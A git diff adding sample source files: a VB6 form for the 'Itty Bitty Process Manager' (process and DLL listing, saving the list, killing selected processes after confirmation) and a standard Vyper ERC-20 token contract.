+    Dim msgEaten As Boolean: msgEaten = False
+    
+    If (uiMsg = WM_MEASUREITEM) Then
+        ISubclass_WindowMsg = HandleMeasureItem(hWnd, uiMsg, wParam, lParam, msgEaten)
+    
+    ElseIf (uiMsg = WM_DRAWITEM) Then
+        ISubclass_WindowMsg = HandleDrawItem(hWnd, uiMsg, wParam, lParam, msgEaten)
+    
+    ElseIf (uiMsg = WM_NCDESTROY) Then
+        VBHacks.StopSubclassing hWnd, Me
+        m_SubclassActive = False
+    End If
+    
+    If (Not msgEaten) Then ISubclass_WindowMsg = VBHacks.DefaultSubclassProc(hWnd, uiMsg, wParam, lParam)
+    
+End Function
diff --git a/samples/Visual Basic 6.0/frmProcMan.frm b/samples/Visual Basic 6.0/frmProcMan.frm
new file mode 100644
index 0000000000..b3bbe4fb5d
--- /dev/null
+++ b/samples/Visual Basic 6.0/frmProcMan.frm	
@@ -0,0 +1,715 @@
+VERSION 5.00
+Begin VB.Form frmProcMan 
+   Caption         =   "Process Manager"
+   ClientHeight    =   6672
+   ClientLeft      =   60
+   ClientTop       =   -240
+   ClientWidth     =   8616
+   BeginProperty Font 
+      Name            =   "Tahoma"
+      Size            =   8.4
+      Charset         =   204
+      Weight          =   400
+      Underline       =   0   'False
+      Italic          =   0   'False
+      Strikethrough   =   0   'False
+   EndProperty
+   Icon            =   "frmProcMan.frx":0000
+   KeyPreview      =   -1  'True
+   LinkTopic       =   "Form1"
+   ScaleHeight     =   6672
+   ScaleWidth      =   8616
+   Begin VB.Frame fraProcessManager 
+      Caption         =   "Itty Bitty Process Manager v."
+      BeginProperty Font 
+         Name            =   "Tahoma"
+         Size            =   8.4
+         Charset         =   204
+         Weight          =   700
+         Underline       =   0   'False
+         Italic          =   0   'False
+         Strikethrough   =   0   'False
+      EndProperty
+      Height          =   3975
+      Left            =   120
+      TabIndex        =   0
+      Top             =   120
+      Width           =   8415
+      Begin VB.CommandButton cmdProcManRefresh 
+         Caption         =   "Re&fresh"
+         Height          =   495
+         Left            =   1440
+         TabIndex        =   7
+         Top             =   3360
+         Width           =   1215
+      End
+      Begin VB.CommandButton cmdProcManBack 
+         Cancel          =   -1  'True
+         Caption         =   "E&xit"
+         Height          =   495
+         Left            =   4440
+         TabIndex        =   6
+         Top             =   3360
+         Width           =   1215
+      End
+      Begin VB.CommandButton cmdProcManRun 
+         Caption         =   "&Run..."
+         Height          =   495
+         Left            =   2760
+         TabIndex        =   5
+         Top             =   3360
+         Width           =   1215
+      End
+      Begin VB.CommandButton cmdProcManKill 
+         Caption         =   "&Kill process"
+         Height          =   495
+         Left            =   120
+         TabIndex        =   4
+         Top             =   3360
+         Width           =   1215
+      End
+      Begin VB.ListBox lstProcessManager 
+         Height          =   1185
+         IntegralHeight  =   0   'False
+         ItemData        =   "frmProcMan.frx":1CFA
+         Left            =   120
+         List            =   "frmProcMan.frx":1CFC
+         MultiSelect     =   2  'Extended
+         TabIndex        =   3
+         Top             =   600
+         Width           =   8175
+      End
+      Begin VB.CheckBox chkProcManShowDLLs 
+         Caption         =   "Show &DLLs"
+         Height          =   255
+         Left            =   3480
+         TabIndex        =   2
+         Top             =   330
+         Width           =   1935
+      End
+      Begin VB.ListBox lstProcManDLLs 
+         Height          =   1140
+         IntegralHeight  =   0   'False
+         Left            =   120
+         TabIndex        =   1
+         Top             =   2040
+         Visible         =   0   'False
+         Width           =   8175
+      End
+      Begin VB.Label lblConfigInfo 
+         AutoSize        =   -1  'True
+         Caption         =   "Loaded DLL libraries by selected process:"
+         Height          =   195
+         Index           =   9
+         Left            =   240
+         TabIndex        =   10
+         Top             =   1800
+         Width           =   2955
+      End
+      Begin VB.Image imgProcManCopy 
+         Height          =   288
+         Left            =   2400
+         Picture         =   "frmProcMan.frx":1CFE
+         ToolTipText     =   "Copy process list to clipboard"
+         Top             =   216
+         Width           =   288
+      End
+      Begin VB.Label lblProcManDblClick 
+         Caption         =   "Double-click a file to view its properties."
+         Height          =   390
+         Left            =   5760
+         TabIndex        =   9
+         Top             =   3330
+         Width           =   2295
+      End
+      Begin VB.Label lblConfigInfo 
+         AutoSize        =   -1  'True
+         Caption         =   "Running processes:"
+         Height          =   195
+         Index           =   8
+         Left            =   240
+         TabIndex        =   8
+         Top             =   360
+         Width           =   1410
+      End
+      Begin VB.Image imgProcManSave 
+         Height          =   288
+         Left            =   2880
+         Picture         =   "frmProcMan.frx":21C1
+         ToolTipText     =   "Save process list to file.."
+         Top             =   216
+         Width           =   288
+      End
+   End
+   Begin VB.Menu mnuProcMan 
+      Caption         =   "ProcessManager Popup Menu"
+      Visible         =   0   'False
+      Begin VB.Menu mnuProcManKill 
+         Caption         =   "Kill process(es)"
+      End
+      Begin VB.Menu mnuProcManStr1 
+         Caption         =   "-"
+      End
+      Begin VB.Menu mnuProcManCopy 
+         Caption         =   "Copy list to clipboard"
+      End
+      Begin VB.Menu mnuProcManSave 
+         Caption         =   "Save list to disk..."
+      End
+      Begin VB.Menu mnuProcManStr2 
+         Caption         =   "-"
+      End
+      Begin VB.Menu mnuProcManProps 
+         Caption         =   "File properties"
+      End
+   End
+End
+Attribute VB_Name = "frmProcMan"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = True
+Attribute VB_Exposed = False
+'[frmProcMan.frm]
+
+Option Explicit
+
+'
+' Itty Bitty Process Manager by Merijn Bellekom
+'
+
+' Check 'frmMain.frm' to change version number
+
+'v1.00 - original release, later added copy to clipboard button
+'v1.01 - added label for dlls, keyboard shortcuts
+'v1.01.1 - fixed crash bug in form_resize, added version number to frame
+'v1.02 - added PID numbers to process list
+'v1.03 - fixed killing multiple processes (it works now.. typos suck)
+'        also added PauseProcess to the killing subs :D (excludes self)
+'        added right-click menu to listboxes
+'        fixed a crash bug with the CompanyName property of RAdmin.exe
+'v1.04 - processes that fail to be killed are now resumed again
+'--
+'v1.05 - dll list is updated when browsing process list with keyboard
+
+'Fork by Dragokas
+
+'v1.06 - Replaced Process listing function by Nt version
+'v1.07 - Added ability to enum modules of 64-bit processes
+
+'ADS Enum alternatives - see: https://www.cyberforum.ru/win-api/thread1842785.html
+
+'Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
+'Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteW" (ByVal hwnd As Long, ByVal lpOperation As Long, ByVal lpFile As Long, ByVal lpParameters As Long, ByVal lpDirectory As Long, ByVal nShowCmd As Long) As Long
+'Private Declare Function SHRunDialog Lib "shell32.dll" Alias "#61" (ByVal hOwner As Long, ByVal Unknown1 As Long, ByVal Unknown2 As Long, ByVal szTitle As String, ByVal szPrompt As String, ByVal uFlags As Long) As Long
+'Private Declare Sub ReleaseCapture Lib "user32.dll" ()
+
+'Private Const TH32CS_SNAPPROCESS = &H2
+Private Const TH32CS_SNAPNOHEAPS = &H40000000
+'Private Const TH32CS_SNAPMODULE = &H8
+'Private Const TH32CS_SNAPTHREAD = &H4
+'Private Const PROCESS_TERMINATE = &H1
+'Private Const PROCESS_QUERY_INFORMATION = 1024
+'Private Const PROCESS_QUERY_LIMITED_INFORMATION = &H1000
+'Private Const PROCESS_VM_READ = 16
+'Private Const THREAD_SUSPEND_RESUME = &H2
+
+'Private Const LB_SETTABSTOPS = &H192
+'Private Const WM_NCLBUTTONDOWN = &HA1
+'Private Const HTCAPTION = 2
+
+Private lstProcessManagerHasFocus As Boolean
+Private lstProcManDLLsHasFocus As Boolean
+
+Public Function ProcManDLLsHasFocus() As Boolean
+    ProcManDLLsHasFocus = lstProcManDLLsHasFocus
+End Function
+
+Public Sub RefreshProcessList(objList As ListBox)
+    Dim hSnap&, uPE32 As PROCESSENTRY32W
+    Dim sExeFile$
+
+    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS Or TH32CS_SNAPNOHEAPS, 0)
+    
+    uPE32.dwSize = Len(uPE32)
+    If Process32First(hSnap, uPE32) = 0 Then
+        CloseHandle hSnap
+        Exit Sub
+    End If
+    
+    objList.Clear
+    Do
+        sExeFile = StringFromPtrW(VarPtr(uPE32.szExeFile(0)))
+        objList.AddItem uPE32.th32ProcessID & vbTab & sExeFile
+    Loop Until Process32Next(hSnap, uPE32) = 0
+    CloseHandle hSnap
+End Sub
+
+Public Sub RefreshProcessListNT(objList As ListBox)
+        Dim lNumProcesses As Long, i As Long
+        Dim sProcessName As String
+        Dim Process() As MY_PROC_ENTRY
+        
+        lNumProcesses = GetProcesses(Process)
+        
+        If lNumProcesses Then
+        
+            For i = 0 To UBound(Process)
+        
+                sProcessName = Process(i).Path
+                
+                If Len(Process(i).Path) = 0 Then
+                
+                    If Not IsDefaultSystemProcess(Process(i).pid, Process(i).Name, Process(i).Path) Then
+                        sProcessName = Process(i).Name '& " (cannot get Process Path)"
+                    End If
+                End If
+                
+                If Len(sProcessName) <> 0 Then
+                    'objList.AddItem Process(i).PID & vbTab & Process(i).SessionID & vbTab & sProcessName
+                    objList.AddItem Process(i).pid & vbTab & sProcessName
+                End If
+            Next
+        End If
+End Sub
+
+Public Sub RefreshDLLList(lPID&, objList As ListBox)
+    objList.Clear
+    If lPID = 0 Then Exit Sub
+    
+    Dim aModules() As String
+    Dim i As Long
+    
+    aModules = EnumModules64(lPID)
+    
+    If AryItems(aModules) Then
+        For i = 0 To UBound(aModules)
+            objList.AddItem aModules(i)
+        Next
+    End If
+End Sub
+
+Public Sub SaveProcessList(objProcess As ListBox, objDLL As ListBox, Optional bDoDLLs As Boolean = False)
+    Dim sFilename$, i&, sProcess$, sModule$, hFile As Long
+    Dim sList As clsStringBuilder
+    
+    'Save process list to file.., Text files, All files
+    sFilename = SaveFileDialog(Translate(166), AppPath(), "processlist.txt", Translate(167) & " (*.txt)|*.txt|" & Translate(168) & " (*.*)|*.*", Me.hwnd)
+    If Len(sFilename) = 0 Then Exit Sub
+    
+    cmdProcManRefresh_Click
+    
+    Set sList = New clsStringBuilder
+    
+    'Header
+    sList.Append ChrW$(-257)
+    sList.AppendLine "Logfile of Itty Bitty Process Manager v." & ProcManVer & " (HJT Fork v." & AppVerString & ")"
+    sList.AppendLine
+    sList.Append MakeLogHeader()
+    sList.AppendLine
+    
+    '[full path to filename]
+    '[file version]
+    '[company name]
+    sList.AppendLine "[pid]" & vbTab & Translate(186) & vbTab & vbTab & Translate(187) & vbTab & Translate(188)
+    
+    For i = 0 To objProcess.ListCount - 1
+        sProcess = objProcess.List(i)
+        sList.AppendLine sProcess & vbTab & vbTab & _
+                  GetFilePropVersion(Mid$(sProcess, InStr(sProcess, vbTab) + 1)) & vbTab & _
+                  GetFilePropCompany(Mid$(sProcess, InStr(sProcess, vbTab) + 1))
+    Next i
+    
+    If bDoDLLs Then
+        Dim arList() As String, j&, lPID&       'Full image. DLLs of ALL processes.
+        
+        For i = 0 To objProcess.ListCount - 1
+            sProcess = objProcess.List(i)
+            lPID = CLng(Left$(sProcess, InStr(sProcess, vbTab) - 1))
+            sProcess = Mid$(sProcess, InStr(sProcess, vbTab) + 1)
+            arList = EnumModules64(lPID)
+            'DLLs loaded by process
+            sList.AppendLine vbCrLf & vbCrLf & Translate(189) & " [" & lPID & "] " & sProcess & ":" & vbCrLf
+            '[full path to filename]
+            '[file version]
+            '[company name]
+            sList.AppendLine Translate(186) & vbTab & vbTab & Translate(187) & vbTab & Translate(188)
+            If AryItems(arList) Then
+                For j = 0 To UBound(arList)
+                    sModule = arList(j)
+                    sList.AppendLine sModule & vbTab & vbTab & GetFilePropVersion(sModule) & vbTab & GetFilePropCompany(sModule)
+                Next
+            End If
+            sList.AppendLine
+            DoEvents
+        Next
+    End If
+    
+    sList.Append "--" & vbCrLf & "End of file"
+    
+    If OpenW(sFilename, FOR_OVERWRITE_CREATE, hFile, g_FileBackupFlag) Then
+        PutW hFile, 1, StrPtr(sList.ToString), sList.Length * 2
+        CloseW hFile
+    End If
+    
+    OpenLogFile sFilename
+    
+    Set sList = Nothing
+End Sub
+
+Public Sub CopyProcessList(objProcess As ListBox, objDLL As ListBox, Optional bDoDLLs As Boolean = False)
+    Dim i&, sList$, sProcess$, sModule$
+    
+    'Process list saved on [*DateTime*]
+    'Platform
+    '[full path to filename]
+    '[file version]
+    '[company name]
+    
+    sList = "Logfile of Itty Bitty Process Manager v." & ProcManVer & " (HJT Fork v." & AppVerString & ")" & vbCrLf & vbCrLf & MakeLogHeader() & vbCrLf & _
+            "[pid]" & vbTab & Translate(186) & vbTab & vbTab & Translate(187) & vbTab & Translate(188) & vbCrLf
+    For i = 0 To objProcess.ListCount - 1
+        sProcess = objProcess.List(i)
+        sList = sList & sProcess & vbTab & vbTab & _
+                GetFilePropVersion(Mid$(sProcess, InStr(sProcess, vbTab) + 1)) & vbTab & _
+                GetFilePropCompany(Mid$(sProcess, InStr(sProcess, vbTab) + 1)) & vbCrLf
+    Next i
+    
+    If bDoDLLs Then
+        sProcess = objProcess.List(objProcess.ListIndex)
+        sProcess = Mid$(sProcess, InStr(sProcess, vbTab) + 1)
+        'DLLs loaded by process
+        '[full path to filename]
+        '[file version]
+        '[company name]
+        sList = sList & vbCrLf & vbCrLf & Translate(189) & " " & sProcess & ":" & vbCrLf & vbCrLf & _
+                Translate(186) & vbTab & vbTab & Translate(187) & vbTab & Translate(188) & vbCrLf
+        For i = 0 To objDLL.ListCount - 1
+            sModule = objDLL.List(i)
+            sList = sList & sModule & vbTab & vbTab & GetFilePropVersion(sModule) & vbTab & GetFilePropCompany(sModule) & vbCrLf
+        Next i
+    End If
+    
+    sList = sList & "--" & vbCrLf & "End of file"
+    
+    ClipboardSetText sList
+    If bDoDLLs Then
+        'The process list and dll list have been copied to your clipboard.
+        MsgBoxW Translate(1650), vbInformation
+    Else
+        'The process list has been copied to your clipboard.
+        MsgBoxW Translate(1651), vbInformation
+    End If
+End Sub
+
+Private Sub SetListBoxColumns(objListBox As ListBox)
+    Dim lTabStop&(1)
+    lTabStop(0) = 40
+    lTabStop(1) = 0
+    SendMessage objListBox.hwnd, LB_SETTABSTOPS, UBound(lTabStop) + 1, lTabStop(0)
+End Sub
+
+Private Sub chkProcManShowDLLs_Click()
+    lstProcManDLLs.Visible = CBool(chkProcManShowDLLs.Value)
+    
+    'lstProcessManager.ListIndex = 0
+    lstProcessManager_MouseUp 1, 0, 0, 0
+    If lstProcessManager.Visible And lstProcessManager.Enabled Then
+        lstProcessManager.SetFocus
+    End If
+    Form_Resize
+End Sub
+
+Private Sub cmdProcManBack_Click()
+    Unload Me
+End Sub
+
+Private Sub cmdProcManKill_Click()
+    Dim sMsg$, i&, s$, HasSelectedProcess As Boolean
+    sMsg = Translate(179) & vbCrLf
+    'sMsg = "Are you sure you want to close the selected processes?" & vbCrLf
+    For i = 0 To lstProcessManager.ListCount - 1
+        If lstProcessManager.Selected(i) Then
+            sMsg = Replace$(sMsg, "[]", vbCrLf & Mid$(lstProcessManager.List(i), InStr(lstProcessManager.List(i), vbTab) + 1))
+            HasSelectedProcess = True
+        End If
+    Next i
+    'sMsg = sMsg & vbCrLf & "Any unsaved data in it will be lost."
+    If HasSelectedProcess Then
+        sMsg = sMsg & vbCrLf & Translate(180)
+        If MsgBoxW(sMsg, vbExclamation + vbYesNo) = vbNo Then Exit Sub
+    Else
+        MsgBoxW Translate(184), vbExclamation
+        Exit Sub
+    End If
+    
+    'SetCurrentProcessPrivileges "SeDebugPrivilege"
+    
+    'pause selected processes
+    For i = 0 To lstProcessManager.ListCount - 1
+        If lstProcessManager.Selected(i) Then
+            s = lstProcessManager.List(i)
+            s = Left$(s, InStr(s, vbTab) - 1)
+            PauseProcess CLng(s)
+        End If
+    Next i
+    For i = 0 To lstProcessManager.ListCount - 1
+        If lstProcessManager.Selected(i) Then
+            s = lstProcessManager.List(i)
+            s = Left$(s, InStr(s, vbTab) - 1)
+            KillProcess CLng(s)
+        End If
+    Next i
+    SleepNoLock 1000
+    'resume any processes still alive
+    For i = 0 To lstProcessManager.ListCount - 1
+        If lstProcessManager.Selected(i) Then
+            s = lstProcessManager.List(i)
+            s = Left$(s, InStr(s, vbTab) - 1)
+            ResumeProcess CLng(s)
+        End If
+    Next i
+    
+    cmdProcManRefresh_Click
+End Sub
+
+Private Sub cmdProcManRefresh_Click()
+    Dim sPID$
+    lstProcessManager.Clear
+    If bIsWinNT Then
+        RefreshProcessListNT lstProcessManager
+    Else
+        RefreshProcessList lstProcessManager
+    End If
+    
+    lstProcessManager.ListIndex = 0
+    
+    If lstProcManDLLs.Visible Then
+        sPID = lstProcessManager.List(lstProcessManager.ListIndex)
+        sPID = Left$(sPID, InStr(sPID, vbTab) - 1)
+    
+        RefreshDLLList CLng(sPID), lstProcManDLLs
+    End If
+    'Running processes:
+    lblConfigInfo(8).Caption = Translate(171) & " (" & lstProcessManager.ListCount & ")"
+    'Loaded DLL libraries by selected process:
+    lblConfigInfo(9).Caption = Translate(178) & " (" & lstProcManDLLs.ListCount & ")"
+End Sub
+
+Private Sub cmdProcManRun_Click()
+    If Not bIsWinNT Then
+        SHRunDialog Me.hwnd, 0, 0, Translate(181), Translate(182), 0
+        'SHRunDialog Me.hWnd, 0, 0, "Run", "Type the name of a program, folder, document or Internet resource, and Windows will open it for you.", 0
+    Else
+        SHRunDialog Me.hwnd, 0, 0, StrConv(Translate(181), vbUnicode), StrConv(Translate(182), vbUnicode), 0
+        'SHRunDialog Me.hWnd, 0, 0, StrConv("Run", vbUnicode), StrConv("Type the name of a program, folder, document or Internet resource, and Windows will open it for you.", vbUnicode), 0
+    End If
+    SleepNoLock 1000
+    cmdProcManRefresh_Click
+End Sub
+
+Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
+    If KeyCode = 27 Then Me.Hide
+    ProcessHotkey KeyCode, Me
+End Sub
+
+Private Sub Form_Load()
+    SetAllFontCharset Me, g_FontName, g_FontSize, g_bFontBold
+    ReloadLanguage True
+    LoadWindowPos Me, SETTINGS_SECTION_PROCMAN
+    
+    'Process Manager
+    Me.Caption = Translate(170)
+    cmdProcManRefresh_Click
+    'Itty Bitty Process Manager - v
+    fraProcessManager.Caption = Translate(160) & ProcManVer 'App.Major & "." & format$(App.Minor, "00") & "." & App.Revision
+    SetListBoxColumns lstProcessManager
+    AddHorizontalScrollBarToResults lstProcessManager
+End Sub
+
+Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
+'    If Button = 1 Then
+'        ReleaseCapture
+'        SendMessage Me.hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0
+'    End If
+End Sub
+
+Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
+
+    SaveWindowPos Me, SETTINGS_SECTION_PROCMAN
+
+    If UnloadMode = 0 Then 'initiated by user (clicking 'X')
+        Cancel = True
+        Me.Hide
+    End If
+End Sub
+
+Private Sub Form_Resize()
+    On Error Resume Next
+    If Me.WindowState = vbMinimized Then Exit Sub
+    fraProcessManager.Width = Me.ScaleWidth - 240
+    lstProcessManager.Width = Me.ScaleWidth - 480
+    lstProcManDLLs.Width = Me.ScaleWidth - 480
+    chkProcManShowDLLs.Left = Me.ScaleWidth - 2200
+    imgProcManSave.Left = Me.ScaleWidth - 2700
+    imgProcManCopy.Left = Me.ScaleWidth - 3100
+
+    fraProcessManager.Height = Me.ScaleHeight - 125
+    If chkProcManShowDLLs.Value = 0 Then
+        lstProcessManager.Height = Me.ScaleHeight - 1470
+    Else
+        lstProcessManager.Height = (Me.ScaleHeight - 1470) / 2 - 120
+        lblConfigInfo(9).Top = (Me.ScaleHeight - 1470) / 2 + 480
+        lstProcManDLLs.Top = (Me.ScaleHeight - 1470) / 2 + 720
+        lstProcManDLLs.Height = Me.ScaleHeight - 1590 - (Me.ScaleHeight - 1470) / 2
+    End If
+    cmdProcManKill.Top = Me.ScaleHeight - 720
+    cmdProcManRefresh.Top = Me.ScaleHeight - 720
+    cmdProcManRun.Top = Me.ScaleHeight - 720
+    cmdProcManBack.Top = Me.ScaleHeight - 720
+    lblProcManDblClick.Top = Me.ScaleHeight - 720
+End Sub
+
+'Private Sub fraProcessManager_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
+'    ReleaseCapture
+'    SendMessage Me.hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0
+'End Sub
+
+Private Sub imgProcManCopy_Click()
+    imgProcManCopy.BorderStyle = 1
+    DoEvents
+    If chkProcManShowDLLs.Value = 1 Then
+        CopyProcessList lstProcessManager, lstProcManDLLs, True
+    Else
+        CopyProcessList lstProcessManager, lstProcManDLLs, False
+    End If
+    imgProcManCopy.BorderStyle = 0
+End Sub
+
+Private Sub imgProcManSave_Click()
+    imgProcManSave.BorderStyle = 1
+    DoEvents
+    If chkProcManShowDLLs.Value = 1 Then
+        SaveProcessList lstProcessManager, lstProcManDLLs, True
+    Else
+        SaveProcessList lstProcessManager, lstProcManDLLs, False
+    End If
+    imgProcManSave.BorderStyle = 0
+End Sub
+
+Private Sub lstProcessManager_Click()
+    If lstProcManDLLs.Visible = False Then Exit Sub
+    Dim sPID$
+    If lstProcessManager.ListIndex = -1 Then lstProcessManager.ListIndex = 0: lstProcessManager.Selected(0) = True
+    sPID = lstProcessManager.List(lstProcessManager.ListIndex)
+    sPID = Left$(sPID, InStr(sPID, vbTab) - 1)
+    
+    RefreshDLLList CLng(sPID), lstProcManDLLs
+    
+    lblConfigInfo(9).Caption = Translate(178) & " (" & lstProcManDLLs.ListCount & ")"
+    'lblConfigInfo(9).Caption = "Loaded DLL libraries by selected process: (" & lstProcManDLLs.ListCount & ")"
+End Sub
+
+Private Sub lstProcessManager_DblClick()
+    Dim s$
+    If lstProcessManager.ListIndex = -1 Then
+        If lstProcessManager.ListCount <> 0 Then s = lstProcessManager.List(0) Else Exit Sub
+    Else
+        s = lstProcessManager.List(lstProcessManager.ListIndex)
+    End If
+    s = Mid$(s, InStr(s, vbTab) + 1)
+    ShowFileProperties s, Me.hwnd
+End Sub
+
+Private Sub lstProcManDLLs_DblClick()
+    Dim s$
+    If lstProcManDLLs.ListIndex = -1 Then
+        If lstProcManDLLs.ListCount <> 0 Then s = lstProcManDLLs.List(0) Else Exit Sub
+    Else
+        s = lstProcManDLLs.List(lstProcManDLLs.ListIndex)
+    End If
+    s = Mid$(s, InStr(s, vbTab) + 1)
+    ShowFileProperties s, Me.hwnd
+End Sub
+
+Private Sub lstProcManDLLs_KeyDown(KeyCode As Integer, Shift As Integer)
+    If KeyCode = 13 Then lstProcManDLLs_DblClick
+End Sub
+
+Private Sub lstProcessManager_KeyDown(KeyCode As Integer, Shift As Integer)
+    Select Case KeyCode
+        Case 13: lstProcessManager_DblClick
+        Case 33, 34, 35, 36, 37, 38, 40: lstProcessManager_MouseUp 1, 0, 0, 0
+        Case 27: Me.Hide
+    End Select
+End Sub
+
+Private Sub lstProcessManager_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
+    If Button = 1 Then
+        If lstProcManDLLs.Visible = False Then Exit Sub
+        Dim sPID$
+        sPID = lstProcessManager.List(lstProcessManager.ListIndex)
+        sPID = Left$(sPID, InStr(sPID, vbTab) - 1)
+        
+        RefreshDLLList CLng(sPID), lstProcManDLLs
+        'Loaded DLL libraries by selected process:
+        lblConfigInfo(9).Caption = Translate(178) & " (" & lstProcManDLLs.ListCount & ")"
+    ElseIf Button = 2 Then
+        PopupMenu mnuProcMan, , , , mnuProcManProps
+    End If
+End Sub
+
+Private Sub lstProcManDLLs_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
+    If Button = 2 Then
+        mnuProcManKill.Enabled = False
+        PopupMenu mnuProcMan, , , , mnuProcManProps
+        mnuProcManKill.Enabled = True
+    End If
+End Sub
+
+Private Sub mnuProcManCopy_Click()
+    imgProcManCopy_Click
+End Sub
+
+Private Sub mnuProcManKill_Click()
+    cmdProcManKill_Click
+End Sub
+
+Private Sub lstProcessManager_LostFocus()
+    lstProcessManagerHasFocus = False
+End Sub
+Private Sub lstProcessManager_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
+    If Not lstProcessManagerHasFocus Then
+        If GetForegroundWindow() = lstProcessManager.Parent.hwnd Then
+            lstProcessManagerHasFocus = True
+            If lstProcessManager.Visible And lstProcessManager.Enabled Then
+                lstProcessManager.SetFocus
+            End If
+        End If
+    End If
+End Sub
+
+Private Sub mnuProcManProps_Click()
+    If lstProcessManagerHasFocus Then
+        lstProcessManager_DblClick
+    Else
+        lstProcManDLLs_DblClick
+    End If
+End Sub
+
+Private Sub mnuProcManSave_Click()
+    imgProcManSave_Click
+End Sub
+
+Private Sub lstProcManDLLs_LostFocus()
+    lstProcManDLLsHasFocus = False
+End Sub
+Private Sub lstProcManDLLs_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
+    If Not lstProcManDLLsHasFocus Then
+        If GetForegroundWindow() = lstProcManDLLs.Parent.hwnd Then
+            lstProcManDLLsHasFocus = True
+            If lstProcManDLLs.Visible And lstProcManDLLs.Enabled Then
+                lstProcManDLLs.SetFocus
+            End If
+        End If
+    End If
+End Sub
diff --git a/samples/Vyper/ERC20.vy b/samples/Vyper/ERC20.vy
new file mode 100644
index 0000000000..dc9cd6982d
--- /dev/null
+++ b/samples/Vyper/ERC20.vy
@@ -0,0 +1,154 @@
+# @dev Implementation of ERC-20 token standard.
+# @author Takayuki Jimba (@yudetamago)
+# https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
+
+Transfer: event({_from: indexed(address), _to: indexed(address), _value: uint256})
+Approval: event({_owner: indexed(address), _spender: indexed(address), _value: uint256})
+
+name: public(string[64])
+symbol: public(string[32])
+decimals: public(uint256)
+
+# NOTE: By declaring `balanceOf` as public, vyper automatically generates a 'balanceOf()' getter
+#       method to allow access to account balances.
+#       The _KeyType will become a required parameter for the getter and it will return _ValueType.
+#       See: https://vyper.readthedocs.io/en/v0.1.0-beta.8/types.html?highlight=getter#mappings
+balanceOf: public(map(address, uint256))
+allowances: map(address, map(address, uint256))
+total_supply: uint256
+minter: address
+
+
+@public
+def __init__(_name: string[64], _symbol: string[32], _decimals: uint256, _supply: uint256):
+    init_supply: uint256 = _supply * 10 ** _decimals
+    self.name = _name
+    self.symbol = _symbol
+    self.decimals = _decimals
+    self.balanceOf[msg.sender] = init_supply
+    self.total_supply = init_supply
+    self.minter = msg.sender
+    log.Transfer(ZERO_ADDRESS, msg.sender, init_supply)
+
+
+@public
+@constant
+def totalSupply() -> uint256:
+    """
+    @dev Total number of tokens in existence.
+    """
+    return self.total_supply
+
+
+@public
+@constant
+def allowance(_owner : address, _spender : address) -> uint256:
+    """
+    @dev Function to check the amount of tokens that an owner allowed to a spender.
+    @param _owner The address which owns the funds.
+    @param _spender The address which will spend the funds.
+    @return An uint256 specifying the amount of tokens still available for the spender.
+    """
+    return self.allowances[_owner][_spender]
+
+
+@public
+def transfer(_to : address, _value : uint256) -> bool:
+    """
+    @dev Transfer token for a specified address
+    @param _to The address to transfer to.
+    @param _value The amount to be transferred.
+    """
+    # NOTE: vyper does not allow unterflows
+    #       so the following subtraction would revert on insufficient balance
+    self.balanceOf[msg.sender] -= _value
+    self.balanceOf[_to] += _value
+    log.Transfer(msg.sender, _to, _value)
+    return True
+
+
+@public
+def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
+    """
+     @dev Transfer tokens from one address to another.
+          Note that while this function emits a Transfer event, this is not required as per the specification,
+          and other compliant implementations may not emit the event.
+     @param _from address The address which you want to send tokens from
+     @param _to address The address which you want to transfer to
+     @param _value uint256 the amount of tokens to be transferred
+    """
+    # NOTE: vyper does not allow unterflows
+    #       so the following subtraction would revert on insufficient balance
+    self.balanceOf[_from] -= _value
+    self.balanceOf[_to] += _value
+    # NOTE: vyper does not allow underflows
+    #      so the following subtraction would revert on insufficient allowance
+    self.allowances[_from][msg.sender] -= _value
+    log.Transfer(_from, _to, _value)
+    return True
+
+
+@public
+def approve(_spender : address, _value : uint256) -> bool:
+    """
+    @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
+         Beware that changing an allowance with this method brings the risk that someone may use both the old
+         and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
+         race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
+         https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
+    @param _spender The address which will spend the funds.
+    @param _value The amount of tokens to be spent.
+    """
+    self.allowances[msg.sender][_spender] = _value
+    log.Approval(msg.sender, _spender, _value)
+    return True
+
+
+@public
+def mint(_to: address, _value: uint256):
+    """
+    @dev Mint an amount of the token and assigns it to an account. 
+         This encapsulates the modification of balances such that the
+         proper events are emitted.
+    @param _to The account that will receive the created tokens.
+    @param _value The amount that will be created.
+    """
+    assert msg.sender == self.minter
+    assert _to != ZERO_ADDRESS
+    self.total_supply += _value
+    self.balanceOf[_to] += _value
+    log.Transfer(ZERO_ADDRESS, _to, _value)
+
+
+@private
+def _burn(_to: address, _value: uint256):
+    """
+    @dev Internal function that burns an amount of the token of a given
+         account.
+    @param _to The account whose tokens will be burned.
+    @param _value The amount that will be burned.
+    """
+    assert _to != ZERO_ADDRESS
+    self.total_supply -= _value
+    self.balanceOf[_to] -= _value
+    log.Transfer(_to, ZERO_ADDRESS, _value)
+
+
+@public
+def burn(_value: uint256):
+    """
+    @dev Burn an amount of the token of msg.sender.
+    @param _value The amount that will be burned.
+    """
+    self._burn(msg.sender, _value)
+
+
+@public
+def burnFrom(_to: address, _value: uint256):
+    """
+    @dev Burn an amount of the token from a given account.
+    @param _to The account whose tokens will be burned.
+    @param _value The amount that will be burned.
+    """
+    self.allowances[_to][msg.sender] -= _value
+    self._burn(_to, _value)
diff --git a/samples/Vyper/ERC721.vy b/samples/Vyper/ERC721.vy
new file mode 100644
